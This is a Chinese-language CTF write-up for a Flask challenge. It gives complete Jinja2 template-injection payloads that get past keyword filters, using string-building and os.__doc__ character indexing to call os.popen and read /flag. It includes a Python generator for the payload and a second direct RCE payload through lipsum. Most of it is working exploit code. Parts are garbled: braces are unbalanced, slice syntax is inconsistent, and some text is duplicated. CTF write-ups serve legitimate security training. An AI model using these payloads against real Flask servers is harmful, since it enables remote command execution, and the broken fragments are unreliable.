

# EzFlaskApp

难度：中等偏上

## 题解

环境是Python2.7

需要命令执行才能拿到flag，这里选择的方法是 `__doc__` 拼接绕过字符串

先查看一下目标机器的 `os.__doc__` （不同系统，以及不同版本python的 `os.__doc__` 不一致，所以需要先查看

目标的 `os.__doc__` )

```
{%set xiahua=(config|select|string|list)[24]%
{%set gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}
{%set ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}
{%set glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set so=oo[:: -1]%
{%set pp=dict(pop=a,ne=b)|join%
{%set opo=pp[:: -1]%
{%set rd=(dict(read=a)|join)%
{%set abc=(dict(static=a)|join)%
{%set dc=(xiahua,xiahua,dict(doc=a)|join,xiahua,xiahua)|join%
{%set docs=(config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(dc))%
%print (docs)%}
```

32%61%68%73%61%29%7c%6a%6f%69%6e%2c%78%69%61%68%75%61%2c%64%69%63%74%20%62%6f%3d%28%78			
33%61%68%73%61%29%7c%6a%6f%69%6e%2c%78%69%61%68%75%61%2c%64%69%63%74%20%62%6f%3d%28%78			

里面字符还经过了Unicode编码转义，所以需要先复制拿去解码随便找个在线解码就行

<https://tool.chinaz.com/tools/unicode.aspx>

然后编写寻找 `__doc__` 内容并自动生成拼接好的字符串脚本如下

```
# -*- coding: utf-8 -*-
#Author: ttpfx
import os

cmd = 'cat /flag'
dicts = {}
payload2 = ''
#docs = os.__doc__

docs='''OS routines for NT or Posix depending on what system we're on.

This exports:
- all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc.
- os.path is one of the modules posixpath, or ntpath
- os.name is 'posix', 'nt', 'os2', 'ce' or 'riscos'
- os.curdir is a string representing the current directory ('.' or ':')
- os.pardir is a string representing the parent directory ('..' or '::')
- os.sep is the (or a most common) pathname separator ('/' or ':' or '\\')
- os.extsep is the extension separator ('.' or '/')
- os.altsep is the alternate pathname separator (None or '/')
- os.pathsep is the component separator used in $PATH etc
- os.linesep is the line separator in text files ('\r' or '\n' or '\r\n')
- os.defpath is the default search path for executables'''
```

This exports:

- all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc.
- os.path is one of the modules posixpath, or ntpath
- os.name is 'posix', 'nt', 'os2', 'ce' or 'riscos'
- os.curdir is a string representing the current directory ('.' or ':')
- os.pardir is a string representing the parent directory ('..' or '::')
- os.sep is the (or a most common) pathname separator ('/' or ':' or '\\')
- os.extsep is the extension separator ('.' or '/')
- os.altsep is the alternate pathname separator (None or '/')
- os.pathsep is the component separator used in \$PATH etc
- os.linesep is the line separator in text files ('\r' or '\n' or '\r\n')
- os.defpath is the default search path for executables

```
- os.devnull is the file path of the null device ('/dev/null', etc.)
```

Programs that import and use 'os' stand a better chance of being portable between different platforms. Of course, they must then only use functions that are defined by all platforms (e.g., unlink and opendir), and leave all pathname manipulation to os.path (e.g., split and join).'''

```
for i in range(127):
    num = 0
    for string in docs:
        num += 1
        chrs = chr(i)
        if chrs == string:
            num = num-1
            dicts[chrs] = num
            break
    for s in cmd:
        payload = "docs["+str(dicts[s])+" ]+"
        payload2 += payload

payload2 = payload2.rpartition("+" )[0]      #去除末尾+
print(payload2)
```

生成payload如下

```
27     portable between different platforms. Of course, they must then
28     only use functions that are defined by all platforms (e.g., unlink
29     and opendir), and leave all pathname manipulation to os.path
30     (e.g., split and join).'''
31
32     for i in range(127):
33         num = 0
34         for string in docs:
35             num += 1
36             chrs = chr(i)
37             if chrs == string:
38                 num = num-1
39                 dicts[chrs] = num
40                 break
41     for s in cmd:
42         payload = "docs["+str(dicts[s])+" ]+"
43         payload2 += payload
44
45 payload2 = payload2.rpartition("+" )[0]      #去除末尾+
46 print(payload2)
47
```

PROBLEMS OUTPUT TERMINAL DEBUG CONSOLE

```
ttppfx@ttppfxdeMacBook-Pro ~/Desktop
$ cd /Users/ttppfx/Desktop ; /usr/bin/env /usr/bin/python3 /Users/ttppfx/.vscode/extension/python.python-2021.6.944021595/pythonFiles/lib/python/debugpy/launcher 56313 -- /Users/ttppfx/Downloads/2.py
docs[89]+docs[43]+docs[6]+docs[2]+docs[464]+docs[12]+docs[83]+docs[43]+docs[36]
ttppfx@ttppfxdeMacBook-Pro ~/Desktop
$
```

构造好os.popen(), 将docs[89]+docs[43]+docs[6]+docs[2]+docs[464]+docs[12]+docs[83]+docs[43]+docs[36]传入进去

## 最终payload

```
{%set xiahua=(config|select|string|list)[24]%
{%set gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}
{%set ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}
{%set glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set so=oo[:::-1]%
{%set pp=dict(pop=a,ne=b)|join%
{%set opo=pp[:::-1]%
{%set rd=(dict(read=a)|join)%
{%set abc=(dict(static=a)|join)%
{%set dc=(xiahua,xiahua,dict(doc=a)|join,xiahua,xiahua)|join%
{%set docs=(config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(dc))%
{%set pop=(config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo))%
{%set strs=
(docs[89]+docs[43]+docs[6]+docs[2]+docs[464]+docs[12]+docs[83]+docs[43]+docs[36])%
{%print pop(strs)|attr(rd)()%}
```

拿去URL编码后再打即可看到flag

## TIPS

其实直接拿 config 也能构造好RCE, 不用 \_\_doc\_\_

```
{%set xiahua=(lipsum|select|string|list)[24]%
{%set space=(config|string|list)[7]%
{%set dian=(config|string|list)[563]%
{%set xiegang=(config|string|list)[412]%
{%set gb=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%
{%set oo=(dict(o=a,s=a)|join)[:::-1]%
{%set pp=dict(popen=a)|join%
{%set shell=(dict(cat=a)|join,space,xiegang,dict(flag=a)|join)|join%
{%set rr=dict(read=a)|join%
{{lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(rr)()}}}
```
